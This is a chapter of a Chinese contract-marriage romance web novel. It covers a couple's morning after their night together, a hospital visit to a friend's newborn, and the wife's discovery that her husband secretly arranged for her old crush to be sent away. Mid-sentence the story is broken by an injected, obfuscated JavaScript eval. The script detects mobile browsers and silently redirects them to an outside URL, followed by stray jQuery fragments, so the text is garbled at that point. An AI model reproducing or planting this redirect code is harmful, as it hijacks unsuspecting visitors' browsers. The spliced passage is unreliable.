46. chapter 46
作品:《赌约[先婚后爱]》 午后的阳光正好,绕过窗帘的小缝,给藏匿住一夜昏暗的房间添上了点鲜活的气息。
谢予薇这一觉睡到中午,总算恢复了些力气,顶着发沉的脑袋强撑开眼皮,就看见侧卧在自己身旁眉眼带笑的男人,满脸都是食髓知味的舒怀。
“‘睡醒了?’”
腰还算的厉害,回头去剧组里吊威亚怕是又要给本就脆弱的腰添堵,谢予薇心里不甚痛快,忍不住推了推他,明着同人算账,“不是说给我休息吗。”
言铮笑着将她揽进怀里,说:“小薇,昨晚就晚睡了一个小时吧。”
“晚了一个小时也是晚了。”谢予薇用力地捶打在他的胸口,用了些力道,打得毫无防备的言铮疼得嘶了声。
她打小就这样,自从学了跆拳道,下手一直没什么轻重。
谢予薇也顾不得他,她脾气向来没多好,憋着一肚子火,继续抱怨道:“我好不容易得来的睡眠时间,硬生生地被你蹉跎了一小时。”
昨晚的荒唐还在眼前历历在目,明明前些日子来探班都安分得很,昨晚大概是看了那些粉丝的缘故,言铮像是想让自己涨些记性似的,摁住她的手腕一寻到底,轻而易举地等到一场濡湿的小雨。
谢予薇一挨上他浑身就软了,到最后只剩下喘息的份,神志不清,言铮说什么都尽数应下,湿软的双唇翕张着,破碎地发出几声老公。
整整一个多小时,她都在呜咽,声音像是破碎的布娃娃,只能用尽全力去拼凑出一些平日里从来都不会发出的音节,身上的布料湿的透顶,黏糊糊地粘在身上。
昨夜的确有些过火,言铮不太好意思地拨开她额前的头发,知道她这两日赶通告累着了,先前因着她那坦然的言论刺得心脏酸胀,有心想磨一磨她,可看到她蓄满泪水的双眸,到底是没敢折腾太久,待兴头过去,硬生生地止住翻腾的欲念。
回想昨晚的失控,连言铮自己都没忍住感慨,不知是不是年纪上来,自控力大不如前,不过一点刺激,就溃败地一塌糊涂。
他轻咳了声,清正的面色和昨夜意乱情迷的模样判若两人,掌心向下,习惯性地替谢予薇揉着发酸的腰,“那你多休息一天,我赔全组一天的误工费。”
“你倒是心疼我。”谢予薇没好气地瞪他,“是觉得我名气不大,想让我上一下热搜?我一个十八线小演员,凭什么让全组工作停摆?”
言铮揉腰的手一停,解释道:“我不是这个意思。”
“行了。”谢予薇没再赖床,掀开被子从床上起来,回头催促他,“赶紧起来,不是说要去杭城看元昭姐吗?”
言铮追上来,拿起一件浴袍给她披上,不太放心,“你要不舒服,我们可以下次再去。”
“想什么呢。”谢予薇拢起浴袍,防贼似地将腰带系严实,“我身体哪有那么脆弱。”
-
杭城的温度比京城高些,但这两天跟着寒潮降温,也没暖和多少,谢予薇一下飞机,湿冷的空气扑面而来,她忍不住缩了缩脖子,将半张脸埋进围巾柔软的绒线里,牵起言铮的手,用他的手取暖。
“冷了?”言铮回握住她的手,转身将她的围巾往上拉了些,遮住那张素淡清丽的脸。
谢予薇被他握着,感知到了一点正常的体温,点了点头,“有点。”
说来也是奇怪,以往冬天谢予薇都不觉得手凉,也就这几天,一降温自个儿就格外怕冷,手脚时常冰凉,也不知道是不是这些日子在剧组里昼伏夜出,身体机能下降了。
言铮无视身旁谢楷睇来新奇的眼神,目不斜视地牵起她往车里走,“手很冷,回头找个中医来看看。”
“好。”
陆元昭前夜在江边的省医院生产的,今日恢复了些精力,才放些人来探望。
过去的路上,言铮看着这窗外萧索的街景,在脑子里冷不丁地过了一通自己情真意切的解释。
今天看完陆元昭,就同谢予薇坦白吧。
他也不能一辈子限着谢予薇不见周自恒,过去自己背地里使得那些手段总要叫人知道,与其憋着一辈子喘不上气,不如先主动把事情同谢予薇讲明。
谢予薇回头骂他,他也认了。
言铮这一心的忐忑一直持续到医院病房里头,终是决定等送谢予薇回剧组时,找个由头把话好好讲讲。
谢予薇自然猜不透言铮在想什么,一进套间,便抱着花坐在病床边,自来熟地同屋内的几人打招呼。
陆元昭被齐祺搀扶着坐起来,她穿着病号服,外面披了件薄薄的针织开衫,长发松松地绾在脑后,脸色寡淡而惨白,没什么气色,转过头,声音轻轻地喊坐在一边的陈漾去泡茶。
谢予薇记得,上一回见到陆元昭,还是在她和沈淮序的婚宴上,陆元昭穿着一身红旗袍,端着白开水与沈淮序一道向那些叔伯敬酒。
才半年不到的功夫,就做妈妈了。
谢予薇将花放在床头柜上,微微倾身,笑容得体而亲切,“你好,元昭姐,我是谢楷的妹妹。”
陪在一边的沈淮序怕陆元昭想不起来,凑到她耳畔低声提醒道:“予薇之前来过我们婚宴。”
“我知道。”陆元昭淡淡地应了声,往边上坐了坐,挨得离沈淮序远了些,明丽的眉目透出一丝疏离的意味,“我有印象。”
“我在电视上见过你。”她眼里的冷清似乎只是对着沈淮序,看向谢予薇时,笑得很温柔,“你比电视上漂亮很多。”
谢予薇被她夸得有些不好意思,“我哪有元昭姐漂亮啊。”
陆元昭摇了摇头,笑道:“我哥说你就比我小两个月,就叫我元昭吧。”
“好,元昭。”
谢楷在一边等不及了,小声插话道:“诶,我那小侄女呢?”
“这儿呢。”许涣从边上的婴儿房出来,小心翼翼地托着一个小小的襁褓,轻嗤了声,“你小声点成不?我外女刚睡醒。”
谢予薇凑上去看了看,那孩子实在太小了,皮肤白得像是豆腐般,睡眼惺忪地眨着眼,睫毛长长地覆在眼睑上,好奇地看着抱她的许涣。
他们这一辈家里交好的,也就沈淮序先有了孩子,谢予薇新奇地很,凑到边上观察了番,“这小姑娘长得真好看,白白净净的。”
言铮站在一边,眸光无声地扫过谢予薇,而后静静地盯着孩子瞧,也不知在想什么。
许涣很少看见言铮这般愣神的模样,笑道:“言铮,要抱下吗?”
言铮动作生疏地接过孩子,小心翼翼地托稳了。
“元昭,她叫什么名字?”谢予薇凑在边上,打量小姑娘安静的面容,问陆元昭,“小荔枝是她的小名吗?”
“小名叫小荔枝。”沈淮序说:“元昭怀孕的时候,很喜欢吃荔枝。”
陆元昭瞥了他一眼,很轻地应了一声算是答复。
谢予薇看着小小的孩子,感慨道:“好可爱的名字,以后一定是个水灵的姑娘。”
谢楷围在小荔枝身侧,和懵懂的婴儿大眼瞪小眼,没忍住从言铮怀里接过,熟练地抱在怀里,笑道:“这小丫头安静,比我家那个乖多了。”
小荔枝言铮的手臂托着,不哭不闹,小小的脑袋微微侧着,一直盯着谢予薇瞧。
“看你伯母做什么,看眼叔叔。”谢楷不满地掂了掂她,想要吸引她的注意。
“小薇长得漂亮,我们小荔枝看下还有错了?”齐祺在一边打趣道。
小荔枝扬起肉嘟嘟的小手腕,努力地去够什么,谢予薇顺着她的视线看去,才发觉她是想去够自己脖子上的吊坠。
“小荔枝喜欢这个?”
谢予薇摘下脖子上的吊坠,看了眼,她的东西多,今早出门走得急,觉得这身米白高领上少了点装饰,就随手就从衣帽间拿了条项链戴上,也没注意是哪条。
如今拿下来放在手心才发现,这项链还是言铮前阵子送她的,一颗很简单的澳白珍珠吊坠,圆润饱满,给孩子当个见面礼也挺好。
“伯母送给你了。”谢予薇一手勾着项链的一头,手掌一抬一抬,逗弄着谢楷臂弯里的小荔枝,小荔枝好奇地伸手去够项链的吊坠,想去够那颗晃动的珍珠,小手在空中抓了几下,却总是差一点点。
“哎呀小薇。”齐祺制止她,“收回去吧,怎么你来一趟,还留下点东西。”
“这有什么关系?小荔枝喜欢。”谢予薇不在意地笑了笑,“也不是多贵重的东西。”
大衣口袋里的手机持续地震动起来,谢予薇怕是佳莹打来的,担心吓到小荔枝,一手伸进口袋手机调成静音,回头同言铮道:“我去接个电话。”
她的手上还绕着逗小荔枝的那串项链,快步走廊寻了个安静的角落,掏出手机,还真是佳莹打来的。
好在电话拨回去没什么事,只是佳莹那头说剧组通告单变动,后天的戏份提到了明早拍,问谢予薇今天能不能早些赶回剧组。
“我知道,我晚上就回去。”
走廊里比病房安静许多,消毒水的气味更浓了些,混着窗外飘进来的,属于南方冬日特有的潮湿寒意,谢予薇挂断电话,正准备往回走,稍一抬头,视线就与不远处的男人对视在一起。
暖色的阳
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357041|194987||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
光不知何时从云层的缝隙漏下来,透过走廊尽头的玻璃窗,在地面上铺开一片金黄色的光斑,短短一瞬,谢予薇仿佛看到了年少时陪自己一整个夏天的少年。
周自恒穿着浅灰色的羊绒大衣,手里提着一袋奶粉,身形清瘦挺拔,阳光打在他的脸上,描摹出他清隽的眉眼,将他整个人都和谐地融进那道冬日暖阳里,一如她记忆中那样,斯文谦和。
他就这样站在走廊的玻璃窗边,也不知道看自己看了多久。
谢予薇的手失了力道,她垂下手,珍珠吊坠顺着掌心的动作滑落,勾在指缝里,随着指尖轻轻晃动,谢予薇盯着不远处的男人,不太确定地喊了声,“自恒哥?”
周自恒脸上挂着和煦的笑意,“我好久不见啊,小薇。”
呼吸声瞬间收紧,谢予薇怔愣半晌,迈开步子往前走了两步,声音干涩地点了下头,“好久不见。”
当年她和言铮结婚,周自恒没有来她的婚宴,直到她结婚后半个月,才从国外回来,而后又出国实习,算起来他们上一次见面,还是在任婉的葬礼上。
当真是许久未见了。
周自恒开口,还是一贯的温和语调,“一直没能同你说声新婚快乐。”
谢予薇淡淡地笑了下,透过玻璃窗上的倒影,怎么看都觉得自己笑得略显悲戚,“没事。”
“来看元昭?”
“对。”
“刚刚家里阿姨把孩子的奶粉送来,我正下去拿呢。”周自恒举了下自己手里的奶粉,像是唠家常般问她,“听说你和言铮哥他们一道来的。”
“对,还有我哥和许涣哥。”
“晚些你们有空吗?我请言铮哥吃个饭。”
谢予薇愣了下,说:“晚上我得回剧组拍戏,言铮将我送到剧组,晚上就回京了。”
周自恒点点头,没再勉强,“好吧,那看来得下次了。”
“我真得谢谢自恒哥。”
谢予薇察觉到一丝不对头,问:“谢他做什么?”
她记得周自恒和言铮可没什么交情,难道是齐祺牵线搭桥了?
“言铮哥帮了我很多。”
谢予薇蹙了下眉,意外于言铮和周自恒的交集,多问了一嘴,“什么时候的事?”
周自恒说:“几年前的事情了,我前两天才听我师兄提起,我当年去训练,去实习,也是言铮哥帮着打点过了。”
谢予薇奇怪道:“你跟他往日里没什么交情,周叔叔也还在任教,他为什么这么不遗余力地帮你?”
周自恒说得周全,“我也奇怪,不过承了他的情,总该请人吃个饭,找个机会当面去谢谢。”
谢予薇站在原地,短短一瞬间,她感觉道脸上的血液一点点褪去,透过那方反光的玻璃,发觉自己的面色像是铺陈在案上,揉乱的苍白宣纸,用力地碾过,留下无数道凌乱,无法忽视的折痕。
世界上当真有这么巧合的事吗。
在她需要联姻,找上周自恒的时候,周自恒恰好被言铮支走。
一个荒唐的念头从脑中不受控地蹦出来,可笑的是,她甚至都不知道言铮是不是故意的。
不可能,他那样平日里走一步算十步的人,怎么可能会是无心?
谢予薇知道周自恒不会说谎,若是以言铮的本事,的确有能力在背后不动声色地做完这一切,但言铮的目的是什么?知道她当初喜欢周自恒,想先一步将她娶走?
他拿她算什么?供人争夺来的物件吗?
桩桩件件的事凑在一起,好似一把钝刀缓缓割过她的心脏,没有多少痛感,但谢予薇无法忽视刀片割开皮肉的强烈知觉,清楚的感知堵在胸口,短短一瞬间化作无尽的局促与惶然。
她支撑不住,脱力地晃了下。
“予薇,怎么了?”周自恒慌忙将她扶稳,关切地看着她,“是不是哪里不舒服?”
“没有。”谢予薇摇了摇头,拙涩的笑容浮在脸上,看得人不甚真切,“这几天轮周转地拍戏,有些头晕,不打紧的。”
“我得回去了,下午得赶回剧组。”
“自恒哥。”谢予薇从他掌心抽回手臂,心里如蚁啃噬般难受,她干涩地吞咽了下,抬起头,看向他,浅浅的凹陷缀在腮边,谢予薇知道自己大概是挤出了一个体面的微笑,“保重。”
当真是在言铮身边待久了,这种时候,她发觉自己的声音竟然一如既往地平稳。
窗外的阳光撒过树荫,稀稀落落地在地板上留下斑驳的光影,谢予薇看见他的笑影模糊,却还是十年如一日的温和模样,“你也要保重。”

